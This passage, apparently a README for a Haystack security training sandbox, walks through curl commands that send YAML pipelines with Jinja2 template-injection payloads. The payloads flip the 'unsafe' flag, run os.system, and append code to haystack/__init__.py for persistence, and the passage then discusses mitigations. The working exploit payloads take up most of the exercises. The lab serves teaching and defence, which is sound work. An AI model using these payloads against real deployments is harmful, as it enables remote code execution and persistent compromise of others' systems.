+|--------|--------|-------------| +| **G** | Guided Training Course | Automated auto-pilot mode running all 6 lessons sequentially | +| **1** | Lesson 1: Baseline | Verify the framework is clean and `unsafe=False` by default | +| **2** | Lesson 2: YAML Bypass | Load a malicious YAML pipeline that flips `unsafe` to `true` | +| **3** | Lesson 3: Full RCE | Overwrite `haystack/__init__.py` to achieve persistence | +| **4** | Lesson 4: Scope Change | Verify the framework is permanently compromised | +| **5** | Lesson 5: Mitigation | Explore patches and their fundamental limitations | +| **6** | Lesson 6: Attack Vectors | Map the exploit to 4 real-world deployment scenarios | + +--- + +## Exercise 2: Manual Exploitation + +You can also interact directly with the sandbox API using `curl` or any HTTP client. The following examples assume the sandbox is running on port 8000. + +### Step 1: Deploy the Sandbox + +```bash +cd sandboxes/agentic_local_haystack + +# Build and start the container +make attack + +# Verify the service is up +curl http://localhost:8000/health +``` + +Expected health response: + +```json +{ + "status": "ok", + "haystack_version": "2.27.0" +} +``` + +### Step 2: Baseline Verification + +```bash +curl http://localhost:8000/verify +``` + +Expected response: + +```json +{ + "status": "clean", + "haystack_version": "2.27.0", + "init_file": "/usr/local/lib/python3.11/site-packages/haystack/__init__.py", + "markers_found": [] +} +``` + +### Step 3: YAML Deserialization Bypass + +Send a malicious YAML pipeline definition that sets `"unsafe": true`: + +```bash +curl -X POST http://localhost:8000/chat \ + -H "Content-Type: application/json" \ + -d '{"query": "Action: load_pipeline\nAction Input: {\"pipeline\": \"components:\\n adapter:\\n type: haystack.components.converters.output_adapter.OutputAdapter\\n init_parameters:\\n template: |\\n {{ trigger }}{{ self.__init__.__globals__.__builtins__.__import__('\\''os'\\'').system('\\''echo SAFE_MODE_BYPASSED > /tmp/haystack_bypass.txt'\\'') }}\\n output_type: str\\n unsafe: true\\nconnections: []\\ninputs: {}\\noutputs: {}\"}"}' +``` + +> **Note:** If you encounter shell escaping issues with the inline JSON, save the payload to a file and use `curl -d @file`: +> ```bash +> cat > /tmp/haystack_payload.json << 'EOF' +> {"query": "Action: load_pipeline\nAction Input: {\"pipeline\": \"components:\\n adapter:\\n type: haystack.components.converters.output_adapter.OutputAdapter\\n init_parameters:\\n template: |\\n {{ trigger }}{{ self.__init__.__globals__.__builtins__.__import__('os').system('echo SAFE_MODE_BYPASSED > /tmp/haystack_bypass.txt') }}\\n output_type: str\\n unsafe: true\\nconnections: []\\ninputs: {}\\noutputs: {}\"}"} +> EOF +> curl -X POST http://localhost:8000/chat -H "Content-Type: application/json" -d @/tmp/haystack_payload.json +> ``` + +Expected response: + +```json +{ + "output": "Pipeline loaded and executed. Result: {'adapter': {'output': 'fire0'}}" +} +``` + +### Step 4: Verify the Bypass + +```bash +# Podman +podman exec haystack-sandbox cat /tmp/haystack_bypass.txt + +# Docker +docker exec haystack-sandbox cat /tmp/haystack_bypass.txt +``` + +Expected output: + +``` +SAFE_MODE_BYPASSED +``` + +### Step 5: Persistent Framework Compromise + +Send a payload that overwrites `haystack/__init__.py`: + +```bash +curl -X POST http://localhost:8000/chat \ + -H "Content-Type: application/json" \ + -d '{"query": "Action: load_pipeline\nAction Input: {\"pipeline\": \"components:\\n adapter:\\n type: haystack.components.converters.output_adapter.OutputAdapter\\n init_parameters:\\n template: |\\n {{ trigger }}{{ self.__init__.__globals__.__builtins__.__import__('\\''os'\\'').system('\\''echo \\\"print(\\\\\\\"!!! HAYSTACK SCOPE CHANGE: 10.0 CRITICAL !!!\\\\\\\")\\\" >> /usr/local/lib/python3.11/site-packages/haystack/__init__.py'\\'') }}\\n output_type: str\\n unsafe: true\\nconnections: []\\ninputs: {}\\noutputs: {}\"}"}' +``` + +> **Note:** If shell escaping is problematic, use the same file approach as Step 3 with the RCE payload from `payloads/rce_persist.yaml`. + +### Step 6: Verify Scope Change + +```bash +curl http://localhost:8000/verify +``` + +Expected response: + +```json +{ + "status": "compromised", + "haystack_version": "2.27.0", + "init_file": "/usr/local/lib/python3.11/site-packages/haystack/__init__.py", + "markers_found": ["SCOPE CHANGE", "HAYSTACK SCOPE CHANGE"] +} +``` + +--- + +## Exercise 3: Using Pre-Built Payload Files + +The `payloads/` directory contains ready-to-use YAML payload files that can be loaded into the interactive trainer by typing the file path when prompted. + +### Available Payloads + +| File | Description | +|------|-------------| +| `payloads/yaml_bypass.yaml` | Basic `unsafe` flag bypass with file write proof | +| `payloads/rce_persist.yaml` | Persistent framework compromise via `__init__.py` overwrite | +| `payloads/conditional_router_bypass.yaml` | Alternative bypass using `ConditionalRouter` instead of `OutputAdapter` | + +### Example: Loading a Payload File + +1. Start the trainer and select Lesson 2. +2. When prompted for input, type: + +``` +> payloads/yaml_bypass.yaml +``` + +3. The trainer reads the file and sends it to the sandbox. + +--- + +## Exercise 4: Out-of-Band Verification + +Since the RCE payloads execute on the filesystem, verify persistence by reading the compromised framework file: + +```bash +# Podman +podman exec haystack-sandbox tail -n 5 /usr/local/lib/python3.11/site-packages/haystack/__init__.py + +# Docker +docker exec haystack-sandbox tail -n 5 /usr/local/lib/python3.11/site-packages/haystack/__init__.py +``` + +Expected output: + +```python +from haystack.core.component import component +from haystack.core.serialization import default_from_dict, default_to_dict +import logging +__version__ = "2.27.0" + +print("!!! HAYSTACK SCOPE CHANGE: 10.0 CRITICAL !!!") +``` + +This confirms persistent compromise — every Python process importing `haystack` will execute the injected code. + +--- + +## The Mitigation Paradox: Band-Aids vs. Architectural Cures + +> ⚠️ **CRITICAL ARCHITECTURAL NOTE** +> Application-layer patches (monkey-patching `from_dict()`, schema validation) are **operational workarounds**, not structural fixes. They apply patchy validation at individual deserialization points while leaving other pathways unprotected. + +### Why parameter stripping cannot fully solve Insecure Orchestration (OWASP LLM06 / ASI02) + +**1. Multiple Deserialization Pathways** +The vulnerability exists in `OutputAdapter.from_dict()` and `ConditionalRouter.from_dict()`. Patching one leaves the other exploitable. The root cause is in `default_from_dict()` — the centralized deserialization sink — which must be fixed at the framework level. + +**2. The Whack-a-Mole Problem** +Every application-layer patch creates a new bypass vector: + +| Round | Patch | Bypass | +|-------|-------|--------| +| 1 | Strip `unsafe` from `OutputAdapter.from_dict()` | Use `ConditionalRouter.from_dict()` instead | +| 2 | Strip `unsafe` from both components | Use `Pipeline.from_yaml()` — different deserialization path | +| 3 | Patch all known paths | Attacker disables the patch if they achieve code execution first | + +**3. Data vs. Code Confusion** +The `unsafe` flag is a security-critical parameter stored in serialized data alongside functional parameters. There is no separation between "system configuration" and "user data" at the deserialization boundary. This is a classic **Confused Deputy** problem — the framework trusts the payload's authority over its own security configuration. + +### What a True Fix Requires + +| Requirement | Current State | Target State | +|-------------|---------------|--------------| +| Parameter Stripping | No filtering of `unsafe` in `default_from_dict()` | Strip security-critical params at the deserialization sink | +| Centralized Validation | Each component has its own `from_dict()` | Single validation layer in `Pipeline.from_dict()` | +| Explicit Opt-In | `unsafe` can be set via serialized data | `unsafe=True` requires code-level developer intent, not data-level configuration | +| Cryptographic Signatures | No integrity protection on serialized data | HMAC signing and validation for all pipeline definitions | +| Type-Safe Deserialization | `**init_params` passes all keys to constructor | Whitelist of allowed parameters per component | + +Until orchestration frameworks adopt these architectural changes, runtime application-layer patches are a mandatory corporate stopgap — but they are **not a cure**. + +--- + +## References + +- **White Paper:** [JDP-2026-005: Architectural Boundary Limitations in Haystack](https://jdp-security.github.io/security-research-papers/2026-05-13-deepset-haystack-disclosure.html) +- **CWE-502:** Deserialization of Untrusted Data +- **CWE-94:** Code Injection (Jinja2 SSTI) +- **CWE-184:** Incomplete List of Disallowed Inputs +- **OWASP LLM06:** Excessive Agency +- **OWASP ASI02:** Tool Misuse +- **Commit 3e3f79b9:** [Introduction of the `unsafe` feature](https://github.com/deepset-ai/haystack/commit/3e3f79b9285c5b56432aac3e4ef2309e5f31ea74) +- **OWASP GenAI Red Teaming Manual:** Proposed Playbooks (June 2026) +